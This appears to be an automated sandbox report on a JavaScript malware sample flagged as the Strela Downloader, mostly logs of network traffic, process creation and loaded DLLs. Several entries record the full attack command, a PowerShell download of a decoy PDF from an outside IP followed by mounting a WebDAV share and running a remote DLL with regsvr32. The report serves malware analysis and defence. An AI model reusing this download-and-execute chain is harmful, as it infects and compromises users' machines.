Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2050512151.000002597F8E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2117408876.000001EA0DD88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117500296.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2114557368.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2111563971.000001EA0DDDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117500296.000001EA0DDDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2117500296.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2114557368.000001EA0DDB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000007.00000002.2117408876.000001EA0DD88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000009.00000002.3335280867.000001D43DE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2114640736.000001D43DBD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2696, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 82691949257725140.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvbahiz4.ske.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 82691949257725140.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,14722567779740608170,7323724890790483310,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,14722567779740608170,7323724890790483310,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
